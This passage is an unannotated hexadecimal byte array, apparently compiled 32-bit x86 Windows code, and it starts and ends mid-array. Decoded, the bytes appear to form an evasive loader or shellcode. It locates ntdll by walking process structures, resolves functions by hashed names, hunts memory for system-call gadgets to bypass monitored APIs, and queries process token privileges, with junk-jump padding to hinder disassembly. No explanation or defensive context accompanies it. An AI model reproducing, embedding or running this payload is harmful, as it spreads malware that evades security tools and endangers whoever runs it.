x00,0x00,0x00,0xEB,0x0D,0x90,0xEB,0x0A,0x90,0xEB,0x07,0x90,0xEB,0x04,0x90,0xEB,0x01,0x90,0x83,0x7D,0xF0,0x00,0x74,0x4A,0x83,0x7D,0xF0,0x00,0x74,0x44,0x8B,0x45,0xDC,0x89,0x44,0x24,0x08,0xC7,0x44,0x24,0x04,0x00,0x00,0x00,0x00,0x8B,0x45,0xF0,0x89,0x04,0x24,0xE8,0x42,0x4D,0x00,0x00,0xA1,0x44,0x61,0x49,0x65,0xFF,0xD0,0x8B,0x55,0xF0,0x89,0x54,0x24,0x08,0xC7,0x44,0x24,0x04,0x00,0x00,0x00,0x00,0x89,0x04,0x24,0xA1,0x50,0x61,0x49,0x65,0xFF,0xD0,0x83,0xEC,0x0C,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0x83,0x7D,0xF4,0x00,0x75,0x24,0x8B,0x45,0x0C,0x8B,0x00,0x85,0xC0,0x74,0x1B,0x8B,0x45,0x0C,0x8B,0x00,0x89,0x04,0x24,0xA1,0x64,0x61,0x49,0x65,0xFF,0xD0,0x83,0xEC,0x04,0x8B,0x45,0x0C,0xC7,0x00,0x00,0x00,0x00,0x00,0x8B,0x45,0xF4,0x8B,0x5D,0xFC,0xC9,0xC3,0x55,0x89,0xE5,0x83,0xEC,0x28,0xC7,0x45,0xEC,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x04,0x01,0x00,0x00,0x00,0xC7,0x04,0x24,0xBA,0xE6,0x48,0x65,0xE8,0xFD,0xD9,0xFF,0xFF,0xC7,0x44,0x24,0x08,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x04,0x4F,0xB3,0x89,0x2E,0x89,0x04,0x24,0xE8,0x6C,0xD8,0xFF,0xFF,0x89,0x45,0xF4,0x83,0x7D,0xF4,0x00,0x75,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x63,0x8D,0x45,0xEC,0x89,0x44,0x24,0x04,0x8B,0x45,0x08,0x89,0x04,0x24,0xE8,0x93,0xFD,0xFF,0xFF,0x89,0x45,0xF0,0x83,0x7D,0xF0,0x00,0x75,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x41,0x8B,0x45,0xEC,0x8B,0x55,0x0C,0x89,0x54,0x24,0x04,0x89,0x04,0x24,0x8B,0x45,0xF4,0xFF,0xD0,0x83,0xEC,0x08,0x89,0x45,0xF0,0x8B,0x45,0xEC,0x89,0x04,0x24,0xA1,0x64,0x61,0x49,0x65,0xFF,0xD0,0x83,0xEC,0x04,0xC7,0x45,0xEC,0x00,0x00,0x00,0x00,0x83,0x7D,0xF0,0x00,0x75,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x05,0xB8,0x01,0x00,0x00,0x00,0xC9,0xC3,0x55,0x89,0xE5,0x83,0xEC,0x28,0xC7,0x45,0xEC,0x00,0x00,0x00,0x00,0xC7,0x45,0xE8,0x00,0x00,0x00,0x00,0xC7,0x45,0xF4,0x01,0x00,0x00,0xC0,0x8D,0x45,0xEC,0x89,0x44,0x24,0x08,0xC7,0x44,0x24,0x04,0x08,0x00,0x00,0x00,0xC7,0x04,0x24,0xFF,0xFF,0xFF,0xFF,0xE8,0x36,0x10,0x00,0x00,0x89,0x45,0xF4,0x83,0x7D,0xF4,0x00,0x79,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x72,0x8B,0x45,0xEC,0x8D,0x55,0xE8,0x89,0x54,0x24,0x04,0x89,0x04,0x24,0xE8,0xFA,0xFE,0xFF,0xFF,0x89,0x45,0xF0,0x8B,0x45,0xEC,0x89,0x04,0x24,0xE8,0xE5,0x0F,0x00,0x00,0xC7,0x45,0xEC,0x00,0x00,0x00,0x00,0x83,0x7D,0xF0,0x00,0x75,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x3E,0x8B,0x45,0xE8,0xC7,0x44,0x24,0x04,0x44,0xE7,0x48,0x65,0x89,0x04,0x24,0xA1,0x9C,0x61,0x49,0x65,0xFF,0xD0,0x85,0xC0,0x0F,0x94,0xC0,0x0F,0xB6,0xD0,0x8B,0x45,0x08,0x89,0x10,0x8B,0x45,0xE8,0x89,0x04,0x24,0xA1,0x64,0x61,0x49,0x65,0xFF,0xD0,0x83,0xEC,0x04,0xC7,0x45,0xE8,0x00,0x00,0x00,0x00,0xB8,0x01,0x00,0x00,0x00,0xC9,0xC3,0x55,0x89,0xE5,0x83,0xEC,0x38,0xC7,0x45,0xF4,0x00,0x00,0x00,0x00,0xC7,0x45,0xE8,0x00,0x00,0x00,0x00,0xC7,0x45,0xE4,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x04,0x01,0x00,0x00,0x00,0xC7,0x04,0x24,0xBA,0xE6,0x48,0x65,0xE8,0x87,0xD8,0xFF,0xFF,0xC7,0x44,0x24,0x08,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x04,0x4F,0xB3,0x89,0x2E,0x89,0x04,0x24,0xE8,0xF6,0xD6,0xFF,0xFF,0x89,0x45,0xF0,0x83,0x7D,0xF0,0x00,0x74,0x5D,0x8D,0x45,0xE8,0x89,0x44,0x24,0x04,0x8B,0x45,0x08,0x89,0x04,0x24,0x8B,0x45,0xF0,0xFF,0xD0,0x83,0xEC,0x08,0x89,0x45,0xEC,0x83,0x7D,0xEC,0x00,0x74,0x42,0x8D,0x45,0xE4,0x89,0x44,0x24,0x04,0x8B,0x45,0x0C,0x89,0x04,0x24,0x8B,0x45,0xF0,0xFF,0xD0,0x83,0xEC,0x08,0x89,0x45,0xEC,0x83,0x7D,0xEC,0x00,0x74,0x27,0x8B,0x55,0xE4,0x8B,0x45,0xE8,0x89,0x54,0x24,0x04,0x89,0x04,0x24,0xA1,0x9C,0x61,0x49,0x65,0xFF,0xD0,0x85,0xC0,0x0F,0x94,0xC0,0x0F,0xB6,0xC0,0x89,0x45,0xF4,0xEB,0x07,0x90,0xEB,0x04,0x90,0xEB,0x01,0x90,0x8B,0x45,0xE8,0x85,0xC0,0x74,0x10,0x8B,0x45,0xE8,0x89,0x04,0x24,0xA1,0x64,0x61,0x49,0x65,0xFF,0xD0,0x83,0xEC,0x04,0x8B,0x45,0xE4,0x85,0xC0,0x74,0x10,0x8B,0x45,0xE4,0x89,0x04,0x24,0xA1,0x64,0x61,0x49,0x65,0xFF,0xD0,0x83,0xEC,0x04,0x8B,0x45,0xF4,0xC9,0xC3,0x55,0x89,0xE5,0x53,0x83,0xEC,0x34,0xC7,0x45,0xE8,0x08,0x00,0x00,0x00,0x8B,0x45,0xE8,0x89,0x45,0xF0,0xC7,0x45,0xF4,0x00,0x00,0x00,0x00,0x8B,0x45,0xE8,0x89,0x45,0xF0,0x8B,0x5D,0xE8,0xA1,0x44,0x61,0x49,0x65,0xFF,0xD0,0x89,0x5C,0x24,0x08,0xC7,0x44,0x24,0x04,0x08,0x00,0x00,0x00,0x89,0x04,0x24,0xA1,0x4C,0x61,0x49,0x65,0xFF,0xD0,0x83,0xEC,0x0C,0x89,0x45,0xF4,0x83,0x7D,0xF4,0x00,0x75,0x0A,0xB8,0x00,0x00,0x00,0x00,0xE9,0xF9,0x00,0x00,0x00,0x8B,0x45,0xE8,0x8D,0x55,0xE8,0x89,0x54,0x24,0x10,0x89,0x44,0x24,0x0C,0x8B,0x45,0xF4,0x89,0x44,0x24,0x08,0xC7,0x44,0x24,0x04,0x0B,0x00,0x00,0x00,0x8B,0x45,0x08,0x89,0x04,0x24,0xE8,0x5C,0x10,0x00,0x00,0x89,0x45,0xEC,0x83,0x7D,0xEC,0x00,0x79,0x59,0x83,0x7D,0xF4,0x00,0x74,0x44,0x8B,0x45,0xF0,0x89,0x44,0x24,0x08,0xC7,0x44,0x24,0x04,0x00,0x00,0x00,0x00,0x8B,0x45,0xF4,0x89,0x04,0x24,0xE8,0xEF,0x49,0x00,0x00,0xA1,0x44,0x61,0x49,0x65,0xFF,0xD0,0x8B,0x55,0xF4,0x89,0x54,0x24,0x08,0xC7,0x44,0x24,0x04,0x00,0x00,0x00,0x00,0x89,0x04,0x24,0xA1,0x50,0x61,0x49,0x65,0xFF,0xD0,0x83,0xEC,0x0C,0xC7,0x45,0xF4,0x00,0x00,0x00,0x00,0x81,0x7D,0xEC,0x23,0x00,0x00,0xC0,0x0F,0x84,0x3C,0xFF,0xFF,0xFF,0xEB,0x01,0x90,0x83,0x7D,0xEC,0x00,0x79,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x61,0x8B,0x45,0xF4,0x8B,0x00,0x85,0xC0,0x0F,0x94,0xC0,0x0F,0xB6,0xD0,0x8B,0x45,0x0C,0x89,0x10,0x83,0x7D,0xF4,0x00,0x74,0x44,0x8B,0x45,0xE8,0x89,0x44,0x24,0x08,0xC7,0x44,0x24,0x04,0x00,0x00,0x00,0x00,0x8B,0x45,0xF4,0x89,0x04,0x24,0xE8,0x76,0x49,0x00,0x00,0xA1,0x44,0x61,0x49,0x65,0xFF,0xD0,0x8B,0x55,0xF4,0x89,0x54,0x24,0x08,0xC7,0x44,0x24,0x04,0x00,0x00,0x00,0x00,0x89,0x04,0x24,0xA1,0x50,0x61,0x49,0x65,0xFF,0xD0,0x83,0xEC,0x0C,0xC7,0x45,0xF4,0x00,0x00,0x00,0x00,0xB8,0x01,0x00,0x00,0x00,0x8B,0x5D,0xFC,0xC9,0xC3,0x55,0x89,0xE5,0x57,0x53,0x81,0xEC,0x40,0x04,0x00,0x00,0xC7,0x45,0xF4,0x00,0x00,0x00,0x00,0xC7,0x45,0xE4,0x00,0x00,0x00,0x00,0xC7,0x45,0xF0,0x00,0x01,0x00,0x00,0x8D,0x95,0xE4,0xFD,0xFF,0xFF,0xB8,0x00,0x00,0x00,0x00,0xB9,0x80,0x00,0x00,0x00,0x89,0xD7,0xF3,0xAB,0x8D,0x95,0xE4,0xFB,0xFF,0xFF,0xB8,0x00,0x00,0x00,0x00,0xB9,0x80,0x00,0x00,0x00,0x89,0xD7,0xF3,0xAB,0x8B,0x45,0xF0,0x89,0x85,0xE0,0xFB,0xFF,0xFF,0x8B,0x45,0xF0,0x89,0x85,0xDC,0xFB,0xFF,0xFF,0xC7,0x44,0x24,0x04,0x01,0x00,0x00,0x00,0xC7,0x04,0x24,0xBA,0xE6,0x48,0x65,0xE8,0x0C,0xD6,0xFF,0xFF,0xC7,0x44,0x24,0x08,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x04,0x2B,0x75,0x3E,0x09,0x89,0x04,0x24,0xE8,0x7B,0xD4,0xFF,0xFF,0x89,0x45,0xEC,0x83,0x7D,0xEC,0x00,0x0F,0x84,0x1B,0x01,0x00,0x00,0x8D,0x45,0xE4,0x89,0x44,0x24,0x04,0x8B,0x45,0x08,0x89,0x04,0x24,0xE8,0xA5,0xF9,0xFF,0xFF,0x89,0x45,0xE8,0x83,0x7D,0xE8,0x00,0x0F,0x84,0xFF,0x00,0x00,0x00,0x8B,0x45,0xE4,0x8D,0x95,0xD8,0xFB,0xFF,0xFF,0x89,0x54,0x24,0x18,0x8D,0x95,0xDC,0xFB,0xFF,0xFF,0x89,0x54,0x24,0x14,0x8D,0x95,0xE4,0xFB,0xFF,0xFF,0x89,0x54,0x24,0x10,0x8D,0x95,0xE0,0xFB,0xFF,0xFF,0x89,0x54,0x24,0x0C,0x8D,0x95,0xE4,0xFD,0xFF,0xFF,0x89,0x54,0x24,0x08,0x89,0x44,0x24,0x04,0xC7,0x04,0x24,0x00,0x00,0x00,0x00,0x8B,0x45,0xEC,0xFF,0xD0,0x83,0xEC,0x1C,0x89,0x45,0xE8,0x83,0x7D,0xE8,0x00,0x0F,0x84,0xAD,0x00,0x00,0x00,0x8B,0x45,0xF0,0xC1,0xE0,0x02,0x8D,0x58,0x02,0xA1,0x44,0x61,0x49,0x65,0xFF,0xD0,0x89,0x5C,0x24,0x08,0xC7,0x44,0x24,0x04,0x08,0x00,0x00,0x00,0x89,0x04,0x24,0xA1,0x4C,0x61,0x49,0x65,0xFF,0xD0,0x83,0xEC,0x0C,0x8B,0x55,0x0C,0x89,0x02,0x8B,0x45,0x0C,0x8B,0x00,0x85,0xC0,0x74,0x79,0x8B,0x45,0xF0,0x01,0xC0,0x8D,0x50,0x01,0x8B,0x45,0x0C,0x8B,0x00,0x89,0x54,0x24,0x08,0x8D,0x95,0xE4,0xFB,0xFF,0xFF,0x89,0x54,0x24,0x04,0x89,0x04,0x24,0xE8,0x41,0x48,0x00,0x00,0x8B,0x45,0xF0,0x01,0xC0,0x8D,0x50,0x01,0x8B,0x45,0x0C,0x8B,0x00,0x89,0x54,0x24,0x08,0xC7,0x44,0x24,0x04,0xAC,0xE7,0x48,0x65,0x89,0x04,0x24,0xE8,0x18,0x48,0x00,0x00,0x8B,0x45,0xF0,0x01,0xC0,0x8D,0x50,0x01,0x8B,0x45,0x0C,0x8B,0x00,0x89,0x54,0x24,0x08,0x8D,0x95,0xE4,0xFD,0xFF,0xFF,0x89,0x54,0x24,0x04,0x89,0x04,0x24,0xE8,0xF5,0x47,0x00,0x00,0xC7,0x45,0xF4,0x01,0x00,0x00,0x00,0xEB,0x0A,0x90,0xEB,0x07,0x90,0xEB,0x04,0x90,0xEB,0x01,0x90,0x8B,0x45,0xE4,0x85,0xC0,0x74,0x10,0x8B,0x45,0xE4,0x89,0x04,0x24,0xA1,0x64,0x61,0x49,0x65,0xFF,0xD0,0x83,0xEC,0x04,0x8B,0x45,0xF4,0x8D,0x65,0xF8,0x5B,0x5F,0x5D,0xC3,0x90,0x55,0x89,0xE5,0x83,0xEC,0x48,0xB9,0x00,0x00,0x00,0x00,0xB8,0x18,0x00,0x00,0x00,0x83,0xE0,0xFC,0x89,0xC2,0xB8,0x00,0x00,0x00,0x00,0x89,0x4C,0x05,0xD8,0x83,0xC0,0x04,0x39,0xD0,0x72,0xF5,0xC7,0x45,0xDC,0x00,0x00,0x00,0x00,0xC7,0x45,0xF4,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x10,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x0C,0x18,0x00,0x00,0x00,0x8D,0x45,0xD8,0x89,0x44,0x24,0x08,0x8B,0x45,0xF4,0x89,0x44,0x24,0x04,0x8B,0x45,0x08,0x89,0x04,0x24,0xE8,0x61,0x0B,0x00,0x00,0x89,0x45,0xF0,0x83,0x7D,0xF0,0x00,0x79,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x03,0x8B,0x45,0xDC,0xC9,0xC3,0x55,0x89,0xE5,0x83,0xEC,0x48,0x8B,0x45,0x08,0x89,0x04,0x24,0xE8,0x7E,0xFF,0xFF,0xFF,0x89,0x45,0xF4,0x83,0x7D,0xF4,0x00,0x75,0x0A,0xB8,0x00,0x00,0x00,0x00,0xE9,0xF3,0x00,0x00,0x00,0x8B,0x45,0xF4,0x83,0xC0,0x0C,0x89,0x45,0xF0,0xC7,0x45,0xE4,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x10,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x0C,0x04,0x00,0x00,0x00,0x8D,0x45,0xE4,0x89,0x44,0x24,0x08,0x8B,0x45,0xF0,0x89,0x44,0x24,0x04,0x8B,0x45,0x08,0x89,0x04,0x24,0xE8,0x8C,0x0A,0x00,0x00,0x89,0x45,0xEC,0x83,0x7D,0xEC,0x00,0x79,0x10,0x83,0x7D,0x0C,0x00,0x75,0x0A,0xB8,0x00,0x00,0x00,0x00,0xE9,0xA1,0x00,0x00,0x00,0x83,0x7D,0xEC,0x00,0x79,0x4F,0x83,0x7D,0x0C,0x00,0x74,0x49,0x81,0x7D,0xEC,0x22,0x00,0x00,0xC0,0x75,0x1A,0xC7,0x04,0x24,0xB0,0xE7,0x48,0x65,0xE8,0x74,0xB4,0xFF,0xFF,0xC7,0x04,0x24,0xE3,0xE7,0x48,0x65,0xE8,0x68,0xB4,0xFF,0xFF,0xEB,0x1F,0x8B,0x45,0xEC,0x89,0x44,0x24,0x04,0xC7,0x04,0x24,0xE8,0xE7,0x48,0x65,0xE8,0x53,0xB4,0xFF,0xFF,0xC7,0x04,0x24,0xE3,0xE7,0x48,0x65,0xE8,0x47,0xB4,0xFF,0xFF,0xB8,0x00,0x00,0x00,0x00,0xEB,0x4C,0x8B,0x45,0xE4,0x83,0xC0,0x0C,0x89,0x45,0xE8,0xC7,0x45,0xE0,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x10,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x0C,0x04,0x00,0x00,0x00,0x8D,0x45,0xE0,0x89,0x44,0x24,0x08,0x8B,0x45,0xE8,0x89,0x44,0x24,0x04,0x8B,0x45,0x08,0x89,0x04,0x24,0xE8,0xE5,0x09,0x00,0x00,0x89,0x45,0xEC,0x83,0x7D,0xEC,0x00,0x79,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x03,0x8B,0x45,0xE0,0xC9,0xC3,0x55,0x89,0xE5,0x83,0xEC,0x38,0xA1,0x44,0x61,0x49,0x65,0xFF,0xD0,0xC7,0x44,0x24,0x08,0x20,0x02,0x00,0x00,0xC7,0x44,0x24,0x04,0x08,0x00,0x00,0x00,0x89,0x04,0x24,0xA1,0x4C,0x61,0x49,0x65,0xFF,0xD0,0x83,0xEC,0x0C,0x89,0x45,0xF4,0x83,0x7D,0xF4,0x00,0x75,0x0A,0xB8,0x00,0x00,0x00,0x00,0xE9,0xA3,0x00,0x00,0x00,0x8B,0x45,0xF4,0xC7,0x00,0x00,0x00,0x00,0x00,0x8B,0x45,0x0C,0x8B,0x40,0x18,0xBA,0x00,0x00,0x00,0x00,0x8B,0x4D,0xF4,0x89,0x41,0x08,0x89,0x51,0x0C,0x8B,0x45,0x0C,0x8B,0x50,0x20,0x8B,0x45,0xF4,0x89,0x50,0x10,0x8B,0x45,0x0C,0x8B,0x50,0x44,0x8B,0x45,0xF4,0x89,0x90,0x18,0x02,0x00,0x00,0x8B,0x45,0x0C,0x8B,0x90,0xB0,0x00,0x00,0x00,0x8B,0x45,0xF4,0x89,0x90,0x1C,0x02,0x00,0x00,0x8B,0x45,0x0C,0x0F,0xB7,0x40,0x24,0xBA,0x00,0x02,0x00,0x00,0x66,0x39,0xD0,0x0F,0x47,0xC2,0x0F,0xB7,0xC0,0x89,0x45,0xF0,0x8B,0x45,0xF4,0x8D,0x48,0x14,0x8B,0x45,0x0C,0x8B,0x40,0x28,0xC7,0x44,0x24,0x10,0x00,0x00,0x00,0x00,0x8B,0x55,0xF0,0x89,0x54,0x24,0x0C,0x89,0x4C,0x24,0x08,0x89,0x44,0x24,0x04,0x8B,0x45,0x08,0x89,0x04,0x24,0xE8,0x03,0x09,0x00,0x00,0x89,0x45,0xEC,0x83,0x7D,0xEC,0x00,0x79,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x03,0x8B,0x45,0xF4,0xC9,0xC3,0x55,0x89,0xE5,0x83,0xEC,0x38,0xC7,0x44,0x24,0x10,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x0C,0xB8,0x00,0x00,0x00,0x8B,0x45,0x10,0x89,0x44,0x24,0x08,0x8B,0x45,0x0C,0x89,0x44,0x24,0x04,0x8B,0x45,0x08,0x89,0x04,0x24,0xE8,0xBF,0x08,0x00,0x00,0x89,0x45,0xF4,0x83,0x7D,0xF4,0x00,0x79,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x62,0xC7,0x44,0x24,0x08,0x04,0x01,0x00,0x00,0xC7,0x44,0x24,0x04,0x00,0x00,0x00,0x00,0x8B,0x45,0x14,0x89,0x04,0x24,0xE8,0xA2,0x44,0x00,0x00,0x8B,0x45,0x10,0x0F,0xB7,0x40,0x2C,0x0F,0xB7,0xD0,0x8B,0x45,0x10,0x8B,0x40,0x30,0xC7,0x44,0x24,0x10,0x00,0x00,0x00,0x00,0x89,0x54,0x24,0x0C,0x8B,0x55,0x14,0x89,0x54,0x24,0x08,0x89,0x44,0x24,0x04,0x8B,0x45,0x08,0x89,0x04,0x24,0xE8,0x62,0x08,0x00,0x00,0x89,0x45,0xF4,0x83,0x7D,0xF4,0x00,0x79,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x05,0xB8,0x01,0x00,0x00,0x00,0xC9,0xC3,0x55,0x89,0xE5,0x81,0xEC,0x08,0x03,0x00,0x00,0xC7,0x45,0xF4,0x00,0x00,0x00,0x00,0x8B,0x45,0x14,0x89,0x44,0x24,0x04,0x8B,0x45,0x08,0x89,0x04,0x24,0xE8,0x40,0xFD,0xFF,0xFF,0x89,0x45,0xF0,0x83,0x7D,0xF0,0x00,0x75,0x0A,0xB8,0x00,0x00,0x00,0x00,0xE9,0x8B,0x01,0x00,0x00,0xC7,0x45,0xEC,0x00,0x00,0x00,0x00,0x66,0xC7,0x45,0xEA,0x00,0x00,0xC7,0x45,0xE4,0x00,0x00,0x00,0x00,0xE9,0x34,0x01,0x00,0x00,0x8D,0x85,0x10,0xFD,0xFF,0xFF,0x89,0x44,0x24,0x0C,0x8D,0x85,0x18,0xFF,0xFF,0xFF,0x89,0x44,0x24,0x08,0x8B,0x45,0xF0,0x89,0x44,0x24,0x04,0x8B,0x45,0x08,0x89,0x04,0x24,0xE8,0xE9,0xFE,0xFF,0xFF,0x89,0x45,0xD8,0x83,0x7D,0xD8,0x00,0x75,0x0A,0xB8,0x00,0x00,0x00,0x00,0xE9,0x39,0x01,0x00,0x00,0x83,0x7D,0xEC,0x00,0x75,0x09,0x8B,0x85,0x1C,0xFF,0xFF,0xFF,0x89,0x45,0xEC,0xC7,0x45,0xE0,0x00,0x00,0x00,0x00,0xE9,0xC3,0x00,0x00,0x00,0x8B,0x45,0xE0,0x8D,0x14,0x85,0x00,0x00,0x00,0x00,0x8B,0x45,0x0C,0x01,0xD0,0x8B,0x00,0x8D,0x95,0x10,0xFD,0xFF,0xFF,0x89,0x54,0x24,0x04,0x89,0x04,0x24,0xA1,0x9C,0x61,0x49,0x65,0xFF,0xD0,0x85,0xC0,0x0F,0x85,0x92,0x00,0x00,0x00,0x8B,0x45,0xE0,0x8D,0x14,0x85,0x00,0x00,0x00,0x00,0x8B,0x45,0x0C,0x01,0xD0,0x8B,0x00,0xC7,0x44,0x24,0x04,0x0C,0xE8,0x48,0x65,0x89,0x04,0x24,0xA1,0x9C,0x61,0x49,0x65,0xFF,0xD0,0x85,0xC0,0x75,0x07,0xC7,0x45,0xE4,0x01,0x00,0x00,0x00,0x8D,0x85,0x18,0xFF,0xFF,0xFF,0x89,0x44,0x24,0x04,0x8B,0x45,0x08,0x89,0x04,0x24,0xE8,0x69,0xFD,0xFF,0xFF,0x89,0x45,0xD4,0x83,0x7D,0xD4,0x00,0x75,0x0A,0xB8,0x00,0x00,0x00,0x00,0xE9,0x9B,0x00,0x00,0x00,0x83,0x7D,0xF4,0x00,0x75,0x08,0x8B,0x45,0xD4,0x89,0x45,0xF4,0xEB,0x21,0x8B,0x45,0xF4,0x89,0x45,0xDC,0xEB,0x08,0x8B,0x45,0xDC,0x8B,0x00,0x89,0x45,0xDC,0x8B,0x45,0xDC,0x8B,0x00,0x85,0xC0,0x75,0xEF,0x8B,0x45,0xDC,0x8B,0x55,0xD4,0x89,0x10,0x0F,0xB7,0x45,0xEA,0x83,0xC0,0x01,0x66,0x89,0x45,0xEA,0xEB,0x10,0x83,0x45,0xE0,0x01,0x8B,0x45,0xE0,0x3B,0x45,0x10,0x0F,0x8C,0x31,0xFF,0xFF,0xFF,0x8B,0x85,0x18,0xFF,0xFF,0xFF,0x89,0x45,0xF0,0x8B,0x45,0xF0,0x3B,0x45,0xEC,0x74,0x0F,0x0F,0xBF,0x45,0xEA,0x39,0x45,0x10,0x0F,0x8F,0xBF,0xFE,0xFF,0xFF,0xEB,0x01,0x90,0x83,0x7D,0x14,0x00,0x74,0x25,0x83,0x7D,0xE4,0x00,0x75,0x1F,0xC7,0x04,0x24,0x24,0xE8,0x48,0x65,0xE8,0xC3,0xB0,0xFF,0xFF,0xC7,0x04,0x24,0xE3,0xE7,0x48,0x65,0xE8,0xB7,0xB0,0xFF,0xFF,0xB8,0x00,0x00,0x00,0x00,0xEB,0x03,0x8B,0x45,0xF4,0xC9,0xC3,0x90,0x90,0x90,0xB8,0xAD,0xDE,0xDE,0xC0,0xC3,0x90,0x0F,0x0B,0x55,0x89,0xE5,0x83,0xEC,0x18,0xC7,0x04,0x24,0x0F,0x2A,0x9B,0xCD,0xE8,0xA8,0x05,0x00,0x00,0xC9,0xC3,0x55,0x89,0xE5,0x83,0xEC,0x48,0xC7,0x45,0xE4,0x00,0x00,0x00,0x00,0x66,0xC7,0x45,0xD5,0x0F,0x34,0xC6,0x45,0xD7,0xC3,0x8B,0x45,0x0C,0x83,0xE8,0x02,0x89,0x45,0xE0,0xE8,0xE2,0x05,0x00,0x00,0x85,0xC0,0x74,0x1E,0xC7,0x45,0xDC,0xC0,0x00,0x00,0x00,0x8B,0x45,0xDC,0x64,0x8B,0x00,0x89,0x45,0xD8,0x8B,0x45,0xD8,0x89,0x45,0xE4,0x8B,0x45,0xE4,0xE9,0x00,0x01,0x00,0x00,0xC7,0x45,0xF4,0x00,0x00,0x00,0x00,0xEB,0x35,0x8B,0x55,0x08,0x8B,0x45,0xF4,0x01,0xD0,0x89,0x45,0xE4,0xC7,0x44,0x24,0x08,0x03,0x00,0x00,0x00,0x8B,0x45,0xE4,0x89,0x44,0x24,0x04,0x8D,0x45,0xD5,0x89,0x04,0x24,0xE8,0xF2,0x41,0x00,0x00,0x85,0xC0,0x75,0x08,0x8B,0x45,0xE4,0xE9,0xC6,0x00,0x00,0x00,0x83,0x45,0xF4,0x01,0x8B,0x45,0xF4,0x3B,0x45,0xE0,0x72,0xC3,0xC7,0x45,0xF0,0x01,0x00,0x00,0x00,0xE9,0x9C,0x00,0x00,0x00,0xC7,0x45,0xEC,0x00,0x00,0x00,0x00,0xEB,0x3B,0x8B,0x55,0x08,0x8B,0x45,0xEC,0x01,0xC2,0x8B,0x45,0xF0,0x0F,0xAF,0x45,0x0C,0x01,0xD0,0x89,0x45,0xE4,0xC7,0x44,0x24,0x08,0x03,0x00,0x00,0x00,0x8B,0x45,0xE4,0x89,0x44,0x24,0x04,0x8D,0x45,0xD5,0x89,0x04,0x24,0xE8,0x97,0x41,0x00,0x00,0x85,0xC0,0x75,0x05,0x8B,0x45,0xE4,0xEB,0x6E,0x83,0x45,0xEC,0x01,0x8B,0x45,0xEC,0x3B,0x45,0xE0,0x72,0xBD,0xC7,0x45,0xE8,0x00,0x00,0x00,0x00,0xEB,0x3B,0x8B,0x55,0x08,0x8B,0x45,0xE8,0x01,0xC2,0x8B,0x45,0xF0,0x0F,0xAF,0x45,0x0C,0x29,0xC2,0x89,0x55,0xE4,0xC7,0x44,0x24,0x08,0x03,0x00,0x00,0x00,0x8B,0x45,0xE4,0x89,0x44,0x24,0x04,0x8D,0x45,0xD5,0x89,0x04,0x24,0xE8,0x4B,0x41,0x00,0x00,0x85,0xC0,0x75,0x05,0x8B,0x45,0xE4,0xEB,0x22,0x83,0x45,0xE8,0x01,0x8B,0x45,0xE8,0x3B,0x45,0xE0,0x72,0xBD,0x83,0x45,0xF0,0x01,0x81,0x7D,0xF0,0x25,0x02,0x00,0x00,0x0F,0x86,0x57,0xFF,0xFF,0xFF,0xB8,0xAC,0x89,0x48,0x65,0xC9,0xC3,0x55,0x89,0xE5,0x83,0xEC,0x10,0xC7,0x45,0xFC,0x00,0x00,0x00,0x00,0xC7,0x45,0xF8,0xDE,0xC0,0x37,0x13,0xEB,0x24,0x8B,0x45,0xFC,0x8D,0x50,0x01,0x89,0x55,0xFC,0x8B,0x55,0x08,0x01,0xD0,0x0F,0xB7,0x00,0x66,0x89,0x45,0xF6,0x0F,0xB7,0x45,0xF6,0x8B,0x55,0xF8,0xC1,0xCA,0x08,0x01,0xD0,0x31,0x45,0xF8,0x8B,0x55,0x08,0x8B,0x45,0xFC,0x01,0xD0,0x0F,0xB6,0x00,0x84,0xC0,0x75,0xCD,0x8B,0x45,0xF8,0xC9,0xC3,0x55,0x89,0xE5,0x53,0x81,0xEC,0x84,0x00,0x00,0x00,0xA1,0x40,0x30,0x49,0x65,0x85,0xC0,0x74,0x0A,0xB8,0x01,0x00,0x00,0x00,0xE9,0x9C,0x03,0x00,0x00,0xC7,0x45,0xA4,0x30,0x00,0x00,0x00,0x8B,0x45,0xA4,0x64,0x8B,0x00,0x89,0x45,0xA0,0x8B,0x45,0xA0,0x89,0x45,0xDC,0x8B,0x45,0xDC,0x8B,0x40,0x0C,0x89,0x45,0xD8,0xC7,0x45,0xF4,0x00,0x00,0x00,0x00,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0x8B,0x45,0xD8,0x8B,0x40,0x0C,0x89,0x45,0xEC,0xE9,0x82,0x00,0x00,0x00,0x8B,0x45,0xEC,0x8B,0x40,0x18,0x89,0x45,0xF0,0x8B,0x45,0xF0,0x89,0x45,0xD4,0x8B,0x45,0xD4,0x8B,0x40,0x3C,0x89,0xC2,0x8B,0x45,0xF0,0x01,0xD0,0x89,0x45,0xD0,0x8B,0x45,0xD0,0x83,0xC0,0x78,0x89,0x45,0xCC,0x8B,0x45,0xCC,0x8B,0x00,0x89,0x45,0xC8,0x83,0x7D,0xC8,0x00,0x74,0x40,0x8B,0x55,0xF0,0x8B,0x45,0xC8,0x01,0xD0,0x89,0x45,0xF4,0x8B,0x45,0xF4,0x8B,0x50,0x0C,0x8B,0x45,0xF0,0x01,0xD0,0x89,0x45,0xC4,0x8B,0x45,0xC4,0x8B,0x00,0x0D,0x20,0x20,0x20,0x20,0x3D,0x6E,0x74,0x64,0x6C,0x75,0x19,0x8B,0x45,0xC4,0x